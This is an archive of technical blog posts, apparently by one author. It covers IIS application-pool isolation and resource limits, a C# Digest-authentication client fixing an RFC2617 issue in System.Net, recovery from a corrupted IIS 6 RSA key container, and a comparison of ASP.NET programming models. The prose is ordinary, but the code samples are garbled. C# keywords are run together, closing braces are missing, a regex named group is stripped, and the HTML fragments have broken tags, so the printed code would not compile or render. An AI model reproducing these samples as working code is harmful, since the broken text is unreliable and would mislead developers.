The code is out there

Aislamiento de aplicaciones en IIS 8.x en entornos de hosting

Daniel Mossberg — Wed, 15 Oct 2014 08:50:36 GMT

En entornos de hosting o cuando se alojan en IIS diversas aplicaciones sobre las que no se tiene control directo, la mayor prioridad desde un punto de vista de administración y arquitectura es que un posible problema en una de las aplicaciones tenga el menor impacto posible en el resto de aplicaciones que se alojan en el mismo servidor.

IIS favorece este aislamiento dado que cada sitio web se ejecuta en un proceso separado de forma predeterminada, lo cual es un buen comienzo. Sin embargo, existen ciertos recursos a nivel de sistema operativo que son compartidos por todos los procesos, como puede ser la memoria física, el procesador o el ancho de banda de red. Si un proceso dispara su consumo de CPU al 100% por cualquier motivo, esto va a tener un impacto en el rendimiento de todo el resto de procesos de la máquina. El mismo impacto podría tener que un proceso que tengo un excesivo consumo de memoria de ancho de banda de red.

A continuación comparto algunas recomendaciones para conseguir el máximo aislamiento y “sandboxing” de aplicaciones en entornos de hosting.

Aislamiento de procesos

Cada sitio web debe ejecutarse en un application pool separado (o en varios), y cada uno de estos debe ejecutarse con una identidad distinta. Por defecto, a partir de IIS 7.5, los application pools se ejecutan con la identidad ApplicationPoolIdentity que automáticamente genera unas cuentas virtuales (virtual accounts) distintas para cada application pool. El uso de ApplicationPoolIdentity es viable en entornos de un único servidor, pero en el caso de granjas de servidores, se hace necesario el uso de cuentas de dominio, o cuentas locales idénticas en el caso de que los servidores no se encuentren en dominio. Es aconsejable también que la identidad de acceso anónimo sea la misma que la identidad del application pool.

Finalmente, es fundamental configurar las ACLs (Access Control List) de las carpetas de contenido de forma que únicamente la identidad de cada application pool tenga acceso, en la medida de lo posible, sólo de lectura.

Más información sobre aislamiento de application pools en el siguiente artículo:

https://www.iis.net/learn/manage/configuring-security/application-pool-identities

Limitar consumo de CPU por application pool

IIS permite tomar ciertas acciones en función del consumo de CPU de un application pool, y sobre todo a partir de IIS 8.0 es posible limitar de forma efectiva el uso de CPU de los application pools.

IIS 8.0 introduce una funcionalidad llama CPU throttling (en inglés throttle significa regulador/válvula reguladora/estrangular), precisamente con el propósito de permitir configurar un límite de consumo de CPU por cada application pool. Es funcionalidad es posible debido a una nueva API en modo kernel que permite poner un límite de CPU sobre un “job”, y en el contexto de IIS, el objeto “job” es el application pool. En este caso tanto si el application pool consta de varios procesos (web garden), como si ejecutan aplicaciones PHP mediante FastCGI en procesos php-cgi.exe, el límite de consumo de CPU se aplica sobre el conjunto de todos los procesos que conforman el application pool. La suma de consumo de todos los procesos no podrá superar el límite configurado para el application pool.

Existen cuatro posibles acciones a tomar cuando se llega al límite configurado:

· NoAction: Registra un evento en el log de eventos de que se ha superado el límite configurado.

· KillW3wp: Finaliza el application pool durante el periodo de tiempo configurado. Esta opción se tiene que configurar en combinación con la propiedad Limit Interval que se configura en minutos. De este modo, si se configura un application pool con un límite del 25% con un intervalo de dos minutos, si la aplicación se pone al 100% de CPU, a los 30 segundos se finalizará (el 25% del tiempo de dos minutos) y permanecerá parada hasta que no transcurra el minuto y medio restante.

· Throttle (nuevo en IIS 8.0): Limita el consumo de CPU al % límite configurado. Es decir, el sistema operativo nunca va a permitir al proceso consumir más % de CPU de lo que se ha configurado en ninguna circunstancia.

· ThrottleUnderLoad (nuevo en IIS 8.0): Limita el consumo de CPU al % límite configurado, siempre y cuando existan contención a nivel de CPU. De no existir contención, se permitirá al proceso consumir un % de CPU superior al límite configurado.

Una aplicación que debido a los motivos que sean tiene consumo elevado de CPU, obviamente resta ciclos de CPU para otras aplicaciones en el mismo servidor.

Configurando CPU throttling en IIS 8.0 (o posteriores versiones), podemos limitar el uso de CPU en las propiedades avanzadas del application pool, en el ejemplo a un máximo de 50% de CPU (50.000 puesto que se configura a nivel de 1/1000 de %):

Una vez configurado el límite, quedan más recursos de CPU disponibles para otros procesos en el mismo servidor:

Más información sobre CPU throttling en el siguiente artículo:

https://www.iis.net/learn/get-started/whats-new-in-iis-8/iis-80-cpu-throttling-sand-boxing-sites-and-applications

Limitar consumo de memoria por application pool

Si bien no es posible “estrangular” o “regular” el consumo de memoria de un proceso de la misma forma que el consumo de CPU, IIS permite configurar reciclados de un application pool al alcanzar un determinado límite de consumo de memoria. Los reciclados pueden tener diferente impacto sobre las aplicaciones web dependiendo de la arquitectura, de donde se mantiene el estado de sesión, donde se almacena la caché, etc. Potencialmente, todo esto son datos que se almacenan en el proceso, y por tanto, al reciclarlo, se pierden estos datos.

En todo caso, en entornos de hosting tiene sentido limitar el consumo de memoria a un límite razonable, que dependerá del tipo de aplicación, de la memoria física del instalada en el servidor, y del número total de aplicaciones alojadas y la carga de usuarios esperada para cada una de estas aplicaciones. En todo caso, configurar un límite demasiado bajo será contraproducente, puesto que los constantes reinicios tendrán potencialmente un mayor impacto que el permitir un mayor consumo de memoria. Antes de configurar estos límites, es recomendable monitorizar el consumo de memoria de las distintas aplicaciones utilizando contadores de rendimiento para hacerse una idea del consumo de memoria de estas en condiciones normales.

Más información sobre la configuración de reciclados de los application pools:

https://www.iis.net/configreference/system.applicationhost/applicationpools/add/recycling/periodicrestart

Limitar el consumo de ancho de banda de red y número de conexiones

Es recomendable limitar también el límite máximo de ancho de banda de red por sitio web (en bytes por segundo) para evitar sobrecargar la red debido a la actividad excesiva de un determinado sitio web.

Más información en:

https://www.iis.net/configreference/system.applicationhost/sites/site/limits

En la misma línea, IIS permite bloquear dinámicamente direcciones IP externas que realicen “demasiadas” peticiones durante un determinado intervalo de tiempo (ambos parámetros son configurables). Esta funcionalidad, llamada dynamic IP restrictions ayuda a prevenir ataques de denegación de servicio. Este mecanismo, de nuevo, ayuda a prevenir que un problema en uno de los sitios web (en este caso, un potencial ataque), pueda afectar a otros sitios web corriendo en el mismo servidor.

Más información en:

https://www.iis.net/learn/get-started/whats-new-in-iis-8/iis-80-dynamic-ip-address-restrictions

No es posible dar recomendaciones genéricas relativas a los valores que deben configurarse para cada uno de los parámetros mencionados en este post, puesto que los valores concretos dependen de las características del entorno. Muchas veces, encontrar el valor optimo en cada entorno, se consigue con la experiencia, y mediante prueba y error.

Espero que os sea de utilidad.

- Daniel Mossberg

Digest Authentication in System.Net classes don't fully comply with RFC2617

Daniel Mossberg — Wed, 27 Feb 2013 03:04:00 GMT

Symptoms

Using a class from the System.Net namespace, e.g. HttpWebRequest, to authenticate to a non-Microsoft web server using Digest authentication might result in some error condition, e.g. an HTTP 500 error:

HTTP/1.1 500 Internal Server Error
Date: Fri, 30 Nov 2012 12:15:15 GMT
Server: Apache/2.2.22 (Win32)
Content-Length: 547
Connection: close
Content-Type: text/html; charset=iso-8859-1

500 Internal Server Error

< h1>Internal Server Error

The server encountered an internal error or
misconfiguration and was unable to complete
your request.

Cause

System.Net classes don't include the query string in the 'Uri' attribute of the digest authentication header. This is a violation of the RFC, and some web server implementations reject those requests.

Resolution

The below workaround provides an implementation of the Digest authentication protocol which generates an Authentication header compliant with the RFC2617. The below code sample is based on the sample provided originally in the following forum: https://stackoverflow.com/questions/3109507/httpwebrequests-sends-parameterless-uri-in-authorization-header.

IMPORTANT: This sample code is provided as-is and is intended for sample purposes only. It is provided without warranties and confers no rights.

using System;

using System.Globalization;

using System.IO;

using System.Net;

using System.Security.Cryptography;

using System.Text;

using System.Text.RegularExpressions;

namespace DigestClient

{

publicclassDigestHttpWebRequest

{

privatestring _user;

privatestring _password;

privatestring _realm;

privatestring _nonce;

privatestring _qop;

privatestring _cnonce;

privateAlgorithm _md5;

privateDateTime _cnonceDate;

privateint _nc;

privatestring _requestMethod = WebRequestMethods.Http.Get;

privatestring _contentType;

privatebyte[] _postData;

public DigestHttpWebRequest(string user, string password)

{

_user = user;

_password = password;

}

publicstring Method

{

get { return _requestMethod; }

set { _requestMethod = value; }

}

publicstring ContentType

{

get { return _contentType; }

set { _contentType = value; }

}

publicbyte[] PostData

{

get { return _postData; }

set { _postData = value; }

}

publicHttpWebResponse GetResponse(Uri uri)

{

HttpWebResponse response = null;

int infiniteLoopCounter = 0;

int maxNumberAttempts = 2;

while ((response == null ||

response.StatusCode != HttpStatusCode.Accepted) &&

infiniteLoopCounter < maxNumberAttempts)

{

try

{

var request = CreateHttpWebRequestObject(uri);

// If we've got a recent Auth header, re-use it!

if (!string.IsNullOrEmpty(_cnonce) &&

DateTime.Now.Subtract(_cnonceDate).TotalHours< 1.0)

{

request.Headers.Add("Authorization", ComputeDigestHeader(uri));

}

try

{

response = (HttpWebResponse)request.GetResponse();

}

catch (WebException webException)

{

// Try to fix a 401 exception by adding a Authorization header

if (webException.Response != null &&

((HttpWebResponse)webException.Response).StatusCode == HttpStatusCode.Unauthorized)

{

var wwwAuthenticateHeader = webException.Response.Headers["WWW-Authenticate"];

_realm = GetDigestHeaderAttribute("realm", wwwAuthenticateHeader);

_nonce = GetDigestHeaderAttribute("nonce", wwwAuthenticateHeader);

_qop = GetDigestHeaderAttribute("qop", wwwAuthenticateHeader);

_md5 = GetMD5Algorithm(wwwAuthenticateHeader);

_nc = 0;

_cnonce = newRandom().Next(123400, 9999999).ToString();

_cnonceDate = DateTime.Now;

request = CreateHttpWebRequestObject(uri, true);

infiniteLoopCounter++;

response = (HttpWebResponse)request.GetResponse();

}

else

{

throw webException;

}

switch (response.StatusCode)

{

caseHttpStatusCode.OK:

caseHttpStatusCode.Accepted:

return response;

caseHttpStatusCode.Redirect:

caseHttpStatusCode.Moved:

uri = newUri(response.Headers["Location"]);

// We decrement the loop counter, as there might be a variable number of redirections which we should follow

infiniteLoopCounter--;

break;

}

catch (WebException ex)

{

throw ex;

}

thrownewException("Error: Either authentication failed, authorization failed or the resource doesn't exist");

}

privateHttpWebRequest CreateHttpWebRequestObject(Uri uri, bool addAuthenticationHeader)

{

var request = (HttpWebRequest)WebRequest.Create(uri);

request.AllowAutoRedirect = false;

request.Method = this.Method;

if (!String.IsNullOrEmpty(this.ContentType))

{

request.ContentType = this.ContentType;

}

if (addAuthenticationHeader)

{

request.Headers.Add("Authorization", ComputeDigestHeader(uri));

}

if (this.PostData != null && this.PostData.Length > 0)

{

request.ContentLength = this.PostData.Length;

Stream postDataStream = request.GetRequestStream(); //open connection

postDataStream.Write(this.PostData, 0, this.PostData.Length); // Send the data.

postDataStream.Close();

}

elseif (

this.Method == WebRequestMethods.Http.Post &&

(this.PostData == null || this.PostData.Length == 0))

{

request.ContentLength = 0;

}

return request;

}

privateHttpWebRequest CreateHttpWebRequestObject(Uri uri)

{

return CreateHttpWebRequestObject(uri, false);

}

privatestring ComputeDigestHeader(Uri uri)

{

_nc = _nc + 1;

string ha1, ha2;

switch (_md5)

{

caseAlgorithm.MD5sess:

var secret = ComputeMd5Hash(string.Format(CultureInfo.InvariantCulture, "{0}:{1}:{2}", _user, _realm, _password));

ha1 = ComputeMd5Hash(string.Format(CultureInfo.InvariantCulture, "{0}:{1}:{2}", secret, _nonce, _cnonce));

ha2 = ComputeMd5Hash(string.Format(CultureInfo.InvariantCulture, "{0}:{1}", this.Method, uri.PathAndQuery));

var data = string.Format(CultureInfo.InvariantCulture, "{0}:{1:00000000}:{2}:{3}:{4}",

_nonce,

_nc,

_cnonce,

_qop,

ha2);

var kd = ComputeMd5Hash(string.Format(CultureInfo.InvariantCulture, "{0}:{1}", ha1, data));

returnstring.Format("Digest username=\"{0}\", realm=\"{1}\", nonce=\"{2}\", uri=\"{3}\", " +

"algorithm=MD5-sess, response=\"{4}\", qop={5}, nc={6:00000000}, cnonce=\"{7}\"",

_user, _realm, _nonce, uri.PathAndQuery, kd, _qop, _nc, _cnonce);

caseAlgorithm.MD5:

ha1 = ComputeMd5Hash(string.Format("{0}:{1}:{2}", _user, _realm, _password));

ha2 = ComputeMd5Hash(string.Format("{0}:{1}", this.Method, uri.PathAndQuery));

var digestResponse =

ComputeMd5Hash(string.Format("{0}:{1}:{2:00000000}:{3}:{4}:{5}", ha1, _nonce, _nc, _cnonce, _qop, ha2));

returnstring.Format("Digest username=\"{0}\", realm=\"{1}\", nonce=\"{2}\", uri=\"{3}\", " +

"algorithm=MD5, response=\"{4}\", qop={5}, nc={6:00000000}, cnonce=\"{7}\"",

_user, _realm, _nonce, uri.PathAndQuery, digestResponse, _qop, _nc, _cnonce);

}

thrownewException("The digest header could not be generated");

}

privatestring GetDigestHeaderAttribute(string attributeName, string digestAuthHeader)

{

var regHeader = newRegex(string.Format(@"{0}=""([^""]*)""", attributeName));

var matchHeader = regHeader.Match(digestAuthHeader);

if (matchHeader.Success)

return matchHeader.Groups[1].Value;

thrownewApplicationException(string.Format("Header {0} not found", attributeName));

}

privateAlgorithm GetMD5Algorithm(string digestAuthHeader)

{

var md5Regex = newRegex(@"algorithm=(?.*)[,]", RegexOptions.IgnoreCase);

var md5Attribute = md5Regex.Match(digestAuthHeader);

if (md5Attribute.Success)

{

char[] charSeparator = newchar[] { ',' };

string algorithm = md5Attribute.Result("${algo}").ToLower().Split(charSeparator)[0];

switch (algorithm)

{

case"md5-sess":

case"\"md5-sess\"":

returnAlgorithm.MD5sess;

case"md5":

case"\"md5\"":

default:

returnAlgorithm.MD5;

}

thrownewApplicationException("Could not determine Digest algorithm to be used from the server response.");

}

privatestring ComputeMd5Hash(string input)

{

var inputBytes = Encoding.ASCII.GetBytes(input);

var hash = MD5.Create().ComputeHash(inputBytes);

var sb = newStringBuilder();

foreach (var b in hash)

sb.Append(b.ToString("x2"));

return sb.ToString();

}

publicenumAlgorithm

{

MD5 = 0, // Apache Default

MD5sess = 1 //IIS Default

}

Sample usage for HTTP GET requests:

DigestHttpWebRequest request = newDigestHttpWebRequest(username, password);

HttpWebResponse result = request.GetResponse(uri);

Sample usage for HTTP POST requests:

DigestHttpWebRequest request = newDigestHttpWebRequest(username, password);

request.Method = WebRequestMethods.Http.Post;

request.ContentType = "text/plain; charset=utf-8";

request.PostData = Encoding.ASCII.GetBytes(postData);

HttpWebResponse result = request.GetResponse(uri);

Applies to
Microsoft .NET Framework 1.1
Microsoft .NET Framework 2.0
Microsoft .NET Framework 3.0
Microsoft .NET Framework 3.5
Microsoft .NET Framework 4.0
Microsoft .NET Framework 4.5

Corrupción de las claves RSA y la importancia de hacer backup

Daniel Mossberg — Mon, 28 May 2012 07:01:00 GMT

Recientemente he trabajado en un caso en el que tras reiniciar un servidor Windows Server 2003, el servicio IIS Admin Service fallaba en el arranque con el siguiente mensaje de error:

Windows could not start the IIS Admin Service on Local Computer. For more information, review the System Event Log. If this is a non-Microsoft service, contact the service vendor, and refer to service-specific error code -2146893813.

Adicionalmente, en el log de eventos de sistema se registraba el siguiente error:

Manuel: Event Type: Error
Event Source: Service Control Manager
Event Category: None
Event ID: 7024
Date: 23/05/2012
Time: 11:40:35
User: N/A
Computer: IIS6-Server
Description:
The IIS Admin Service service terminated with service-specific error 2148073483 (0x8009000B).

El código de error 0x8009000B se corresponde a NTE_BAD_KEY_STATE (“Key not valid for use in specified state”o “Clave no válida para utilizar en el estado especificado” en castellano) e indica un error al utilizar unas claves de encriptación.

IIS 6.0 cifra algunos campos del fichero XML de configuración (metabase.xml) con información sensible como contraseñas de cuentas de servicio. Para esto, IIS 6.0 crea un contenedor de claves criptográficas durante la instalación del servicio llamado “Microsoft Internet Information Server”. Este contenedor de claves está almacenado físicamente en el fichero %ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys\c2319c42033a5ca7f44e731bfd3fa2b5_. El valor de MachineGuid se puede obtener de la siguiente clave del registro y será distinto en cada servidor:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography]

"MachineGuid"="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"

Con la herramienta certutil podemos volcar cierta información de este contenedor de claves, y entre otras cosas podemos ver que las claves privadas no son exportables, por lo que el fichero metabase.xml cifrado con estas claves únicamente podrá ser descifrado en el mismo servidor donde fue creado.

C:\WINDOWS\system32>certutil -v -key "Microsoft Internet Information Server"

Microsoft Strong Cryptographic Provider:

Microsoft Internet Information Server

c2319c42033a5ca7f44e731bfd3fa2b5_809cf898-e06e-4673-83e2-6200ef0291cc

AT_SIGNATURE:

Key Id Hash(sha1): d0 31 ed 58 81 bf 61 b9 a3 76 99 cb 17 ad ce 88 ff b7 b8 cd

Container Public Key:

000030 48 02 41 00 cd c2 bab5 47 a7 2b 2f 57 4b ae

0010a7 fe 26 9c a2 ed f3 f958 36 df 8f 35 31 1c c0

002032 2c 35 8c 42 68 84 0dc2 4d dd 9a fd 5d 87 0f

0030b2 b9 33 d4 1b bc 62 647c bd d7 6c 59 6e c1 85

0040b3 46 73 2c 59 02 03 0100 01

Private key is NOT exportable

AT_KEYEXCHANGE:

Key Id Hash(sha1): 4f 50 e1 14 9f 63 73 0b ef ae 7c 34 e5 1d 6b d2 eb 1b 59 27

Container Public Key:

000030 48 02 41 00 a3 aa e0ee 9f 45 e9 b4 6c 4d 11

001044 96 39 f8 f6 51 ec 9014 60 1f 57 6e 10 d2 f4

002069 4c c1 1f 09 f5 69 e0fd 75 67 40 00 0d a0 4a

00307d c3 b5 a1 40 b9 20 a65a 3e 1e e9 28 bd aa 2c

00406e 62 64 c9 61 02 03 0100 01

Private key is NOT exportable

CertUtil: -key command completed successfully.

IIS 6.0 permite generar backups de la metabase exportables/importables a cualquier servidor, para lo que se utiliza una contraseña en lugar de las claves RSA de máquina para cifrar la metabase. Tener un backup de la configuración de IIS protegido con contraseña puede resultar muy útil como veremos más adelante.

Volviendo al problema original, el error 0x8009000B al arrancar el servicio IIS Admin Service típicamente se debe a una corrupción del contenedor de claves de IIS, por lo que el servicio no es capaz de descifrar los campos relevantes al leer el fichero de configuración y por consecuencia fallan en el arranque.

Llegados a esta situación, básicamente tenemos tres opciones, que por orden de preferencia son:

1) Restaurar un backup de system state en el que se restauraría una copia intacta del fichero contenedor de claves c2319c42033a5ca7f44e731bfd3fa2b5_ lo que permitiría volver a arrancar el servicio de IIS Admin Service.
2) Reinstalar IIS y reconfigurarlo desde un backup de la metabase protegido por contraseña que podamos importar después de la reinstalación.

3) Reinstalar IIS y reconfigurarlo manualmente desde cero.

PROCESO DE REINSTALACIÓN Y RESTAURACIÓN DEL CONTENEDOR DE CLAVES
En caso que fuera necesaria la reinstalación de IIS, los pasos a seguir son los siguientes:

1) Desinstalar el servicio de IIS desde los componentes de Windows.

2) Eliminar el fichero contenedor de claves de “Microsoft Internet Information Server” en la ruta“%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys\c2319c42033a5ca7f44e731bfd3fa2b5_”.

3) Reinstalar IIS.

4) Importar el backup de la metabase protegido por contraseña.

5) Añadir las cuentas configuradas como identidad de los application pool al grupo de seguridad IIS_WPG (IIS Worker Process Group) de nuevo, dado que el grupo de seguridad se vuelve a crear tras la reinstalación.

Si tenemos varios servidores configurados idénticamente, técnicamente es posible importar un backup de la metabase que ha sido exportado desde otro servidor distinto. No obstante, esto implica tener que modificar manualmente algunas cosas adicionales como sincronizar las cuentas IUSR_ e IWAM_ y sus contraseñas, o modificar los bindings de los sitios web en caso de que escuchen por IPs distintas en los distintos servidores de la granja.

En definitiva, haced backup del system state y de la metabase regularmente, y espero que nunca tengáis que hacer uso de este post.

- Daniel Mossberg

Modelos de programación en ASP.NET: Web Forms, MVC y Web Pages

Daniel Mossberg — Thu, 10 May 2012 05:49:00 GMT

Recientemente he publicado una serie de artículos en MSDN España abordando una pregunta que recibimos con frecuencia. ¿Cuáles son las diferencias entre los tres modelos de programación de ASP.NET y en que situaciones debo elegir uno de ellos sobre los otros?

Estos son los enlaces a la serie completa:

ASP.NET Web Forms, MVC o Web Pages – Introducción

https://msdn.microsoft.com/es-es/asp.net/hh984851

Parte 1 – ASP.NET Web Forms

https://msdn.microsoft.com/es-es/asp.net/hh984854

Parte 2 – ASP.NET MVC

https://msdn.microsoft.com/es-es/asp.net/hh984855

Parte 3 – ASP.NET Web Pages

https://msdn.microsoft.com/es-es/asp.net/hh984856

Espero que os resulte interesante.

- Daniel Mossberg

ACTUALIZACIÓN (14/10/2014)

Los enlaces anteriores ya no están disponibles, por lo que publico a continuación el contenido original de la serie de artículos:

Introducción

Actualmente, ASP.NET soporta tres modelos de programación: ASP.NET Web Forms, ASP.NET MVC y ASP.NET Web Pages. Aunque los tres modelos de programación se ejecutan sobre la misma base de ASP.NET, cada uno de ellos estructura la aplicación de maneras completamente distintas, promueve metodologías de desarrollo diferentes y se adapta a perfiles de desarrolladores distintos. Algunas características que son virtudes en unos modelos de programación, pueden ser consideradas debilidades en el otro. ¿Qué es más importante, desarrollar a un gran nivel de abstracción o tener control total cada uno de los aspectos de la aplicación? Simplicidad vs. Control. Flexibilidad vs. Eficiencia. Estas son las compensaciones que hay que baremar a la hora de elegir. En esta serie de artículos repasaremos las diferencias entre los tres modelos de programación, y los escenarios favorables a cada uno de ellos.

Es importante recalcar que el hecho de elegir uno de los modelos de programación al comenzar un proyecto de ASP.NET no excluye necesariamente a los otros, sino que es posible tener aplicaciones “hibridas” y en muchos casos tendrá todo el sentido desarrollar ciertas partes de la aplicación con un modelo de programación y otras partes con otro modelo distinto.

ASP.NET Web Forms fue el primero de los tres modelos de programación en existir, y proporciona un gran nivel de abstracción con un modelo de programación familiar basado en eventos y controles que favorece la productividad mediante la programación declarativa reduciendo la cantidad de código necesaria para implementar una determinada funcionalidad.

ASP.NET MVC se concibió como alternativa a Web Forms y proporciona un modelo de programación basado en el popular patrón de arquitectura MVC. Entre sus principales características destacan su completa integración con pruebas unitarias y su separación más clara entre la lógica de presentación, la lógica de negocio y la lógica de acceso a datos.

ASP.NET Web Pages es el más reciente de los tres modelos de programación, y fue creado como respuesta a una creciente demanda de desarrolladores web sin experiencia previa con ASP.NET, cuya iniciación en ASP.NET Web Forms o MVC les suponía una inversión inicial de tiempo demasiado grande. Web Pages proporciona un modelo de programación más simple y rápido de aprender, sin renunciar a toda la funcionalidad y flexibilidad de ASP.NET.

Parte 1 - ASP.NET Web Forms

ASP.NET es uno de los pilares fundamentales del Framework .NET, y durante muchos años Web Forms fue el único modelo de programación disponible. Cuando nació, Web Forms introducía novedades importantes respecto a otras tecnologías de desarrollo web como ASP, PHP o JSP. Una de las más significativas era la separación entre el código de servidor y el markup HTML.

La estructura típica de una página Web Forms se compone por un lado de un fichero *.aspx en el que se define la estructura HTML y se añaden declarativamente los controles de servidor de la página (hablaremos en detalle sobre controles de servidor más adelante). Por otro lado tenemos el fichero de código code behind, *.aspx.cs o *.aspx.vb dependiendo del lenguaje de programación elegido, en el que se implementa el código de servidor de la página. Posteriormente, ambos ficheros se compilan en ensamblados que contienen el código de servidor que genera el HTML emitido al ejecutar la página.

La unión entre ambos ficheros se realiza mediante la directiva de página del fichero *.aspx (“<%@ Page … %>”) en la que se especifica el nombre de la clase de la que hereda (“Inherits”) y el fichero de código fuente (“CodeBehind”) donde se implementa dicha clase, también conocido como el code behind de la página.

WebForm.aspx:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="WebForm.aspx.cs" Inherits="AdventureWorksWebForms.WebForm" %>

DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<title>ASP.NET Web Formstitle>

head>

<body>

<div>

<asp:Label ID="MyLabel" runat="server" Text="Hello World!">asp:Label>

<asp:Button ID="MyButton" runat="server" Text="Run" />

div>

form>

body>

html>

En el fichero de code behind se implementa el código de servidor de la página como los manejadores de eventos de los controles de la página (en el ejemplo: MyButton_Click), código de interacción con las capas de lógica de negocio o acceso a datos, o código de validación de datos de entrada del usuario por ejemplo.

WebForm.aspx.cs:

using System;

namespace AdventureWorksWebForms

{

public partial class WebForm : System.Web.UI.Page

{

protected void MyButton_Click(object sender, EventArgs e)

{

MyLabel.Text = "Hello World changed after post-back!";

}

Con el Framework .NET 2.0 se introdujo el concepto de clases parciales lo que permite implementar clases de .NET en más de un fichero. ASP.NET 2.0 hizo uso de las clases parciales en los ficheros de code behind para crear una separación adicional entre el código generado automáticamente por Visual Studio y el code behind desarrollado por el programador. En versiones anteriores de ASP.NET, Visual Studio añadía código directamente en el fichero de code behind, como por ejemplo el código de declaración de variables de controles de servidor, generado automáticamente al arrastrar un control a la página en la vista de diseño de Visual Studio.

Por tanto, a partir de ASP.NET 2.0 el fichero de code behind se simplifica aún más dado que desaparecen estas declaraciones de variables y el código generado por Visual Studio se crea en un fichero distinto de la misma clase parcial:

WebForm.aspx.designer.cs:

namespace AdventureWorksWebForms

{

public partial class WebForm

{

…

///

/// MyLabel control.

///

/// Auto-generated field.

/// To modify move field declaration from designer file to code-behind file.

///

protected global::System.Web.UI.WebControls.Label MyLabel;

///

/// MyButton control.

///

/// Auto-generated field.

/// To modify move field declaration from designer file to code-behind file.

///

protected global::System.Web.UI.WebControls.Button MyButton;

}

Web Forms es un modelo de programación cuya principal característica es el nivel de abstracción y encapsulamiento que proporciona, a la vez que es tremendamente versátil. Web Forms es una tecnología en la que Microsoft sigue invirtiendo fuertemente, y en ASP.NET 4.0 se introducen numerosas novedades y mejoras que corrigen muchas de las que históricamente han sido sus debilidades:

· Web Forms URL Routing: Permite crear URLs optimizadas para motores de búsqueda (SEO).

· HTML más predecible: Los controles de servidor generan HTML más compatible con los estándares y más fácil integrar con JavaScript y CSS.

· View State selectivo: Permite habilitar y deshabilitar el view state granularmente a nivel de control de forma más flexible que en anteriores versiones de ASP.NET.

Estos son algunos ejemplos, pero existe una lista completa de todas las novedades en https://www.asp.net/whitepapers/aspnet4.

Cinco razones por las que ASP.NET Web Forms puede ser la mejor opción para ti

1 – Modelo de programación familiar basado en controles y eventos

Quien esté familiarizado con el desarrollo de aplicaciones de escritorio, por ejemplo con .NET Windows Forms o Java Swing, le costará poco la transición al desarrollo con ASP.NET Web Forms. Web Forms preserva el paradigma de arrastrar controles sobre las páginas web de forma equivalente a como se arrastran los controles sobre una aplicación de Windows. Los controles de servidor de ASP.NET pueden ser elementos de interacción simples como el botón o la caja de texto, o controles mas complejos como el calendario, el menú o el control de login que encapsulan funcionalidad más compleja.

Los controles tienen propiedades asociadas que se pueden manipular declarativamente en el fichero *.aspx, programáticamente desde el fichero code behind o desde la propia interfaz gráfica de Visual Studio.

Adicionalmente, las páginas Web Forms y sus controles de servidor lanzan una serie de eventos ante determinadas situaciones o interacciones del usuario, y una parte fundamental de las aplicaciones Web Forms radica precisamente en manejar y responder adecuadamente ante dichos eventos.

protected void Button1_Click(object sender, EventArgs e)

{

Response.Redirect("/home.aspx", false);

Context.ApplicationInstance.CompleteRequest();

}

2 – Encapsulamiento de HTML, CSS y Javacscript.

ASP.NET Web Forms simplifica el desarrollo web encapsulando gran parte de la complejidad del protocolo HTTP y de los lenguajes HTML, JavaScript y CSS. En el desarrollo con Web Forms no es imprescindible (aunque sí conveniente) conocer en profundidad ninguna de estas tecnologías. En el protocolo HTTP por definición no existe el estado, y sin embargo las páginas ASP.NET Web Forms y sus controles mantienen el estado a lo largo de los post-backs. Uno de los mecanismos esenciales para conseguir este nivel de abstracción son precisamente los controles de servidor, que en gran medida abstraen al desarrollador del código HTML, CSS y JavaScript subyacente.

Añadir un control de tipo calendar a una página ASP.NET Web Forms únicamente requiere añadir la siguiente línea de código a la página *.aspx:

<asp:Calendar ID="Calendar1" runat="server">asp:Calendar>

Sin embargo cuando la página se ejecuta el control de servidor genera un entramado relativamente complejo de código de cliente (HTML, Javascript y CSS) simplemente para “pintar” el calendario en la página. Al margen de esto, ASP.NET Web Forms proporciona la lógica necesaria en el servidor para que el control mantenga el estado a lo largo de varios post-backs, y todo esto de forma completamente transparente para el usuario.

<tr>

<tr>

td>

<td align="center" style="width:70%;">febrero de 2012td>

td>

tr>

table>

td>

tr>

<tr>

<th align="center" abbr="lunes" scope="col">lunth>

<th align="center" abbr="martes" scope="col">marth>

<th align="center" abbr="miércoles" scope="col">miéth>

<th align="center" abbr="jueves" scope="col">jueth>

<th align="center" abbr="viernes" scope="col">vieth>

<th align="center" abbr="sábado" scope="col">sábth>

<th align="center" abbr="domingo" scope="col">domth>

tr>

…

table>

Algunos controles soportan mecanismos más avanzados de personalización, como la funcionalidad Auto Format que permite aplicar distintos esquemas de colores y estilos sobre el control de forma completamente visual, de nuevo sin necesidad de tocar ni una sola línea de código.

En definitiva, dos características importantes de ASP.NET Web Forms son la simplificación del desarrollo web y la reducción de la cantidad de código necesario para conseguir una determinada funcionalidad.

3 – Ecosistema de controles de terceros

ASP.NET Web Forms es una tecnología madura entorno a la cual se ha construido un importante ecosistema de empresas especializadas en desarrollar controles de gran calidad. Algunas de estas empresas como Telerik, Infragistics o Devexpress, desarrollan controles utilizados en miles de aplicaciones Web Forms en Internet. Utilizar este tipo de controles de terceros en lugar de optar por el desarrollo propio puede suponer un importante ahorro de tiempo y dinero, y en muchas ocasiones retornar mejores resultados.

4 – Acceso a datos simplificado

La mayoría de aplicaciones web consumen y manipulan datos. Por ello ASP.NET Web Forms soporta un amplio abanico de orígenes de datos, e implementa controles específicos para simplificar el acceso a los orígenes de datos más comunes como bases de datos, ficheros XML, objetos de negocio o modelos de datos de Entity Framework. Los controles de tipo origen de datos (data source) son controles sin elementos gráficos asociados, que permiten a otros controles de servidor enlazar con los orígenes de datos de forma completamente declarativa.

Los controles data source se pueden crear declarativamente o en modo gráfico desde la vista de diseño de Visual Studio. Por ejemplo, el control SqlDataSource debe como mínimo indicar la cadena de conexión al origen de datos y la consulta a ejecutar para recuperar los datos deseados.

<asp:SqlDataSource ID="EmployeeSqlDataSource" runat="server"

ConnectionString="<%$ ConnectionStrings:ConnectionString %>"

SelectCommand="SELECT * FROM [Employee] ORDER BY [Id]">

asp:SqlDataSource>

En el modo gráfico de la vista de diseño podemos hacer lo mismo siguiendo los pasos por los que nos guía un wizard.

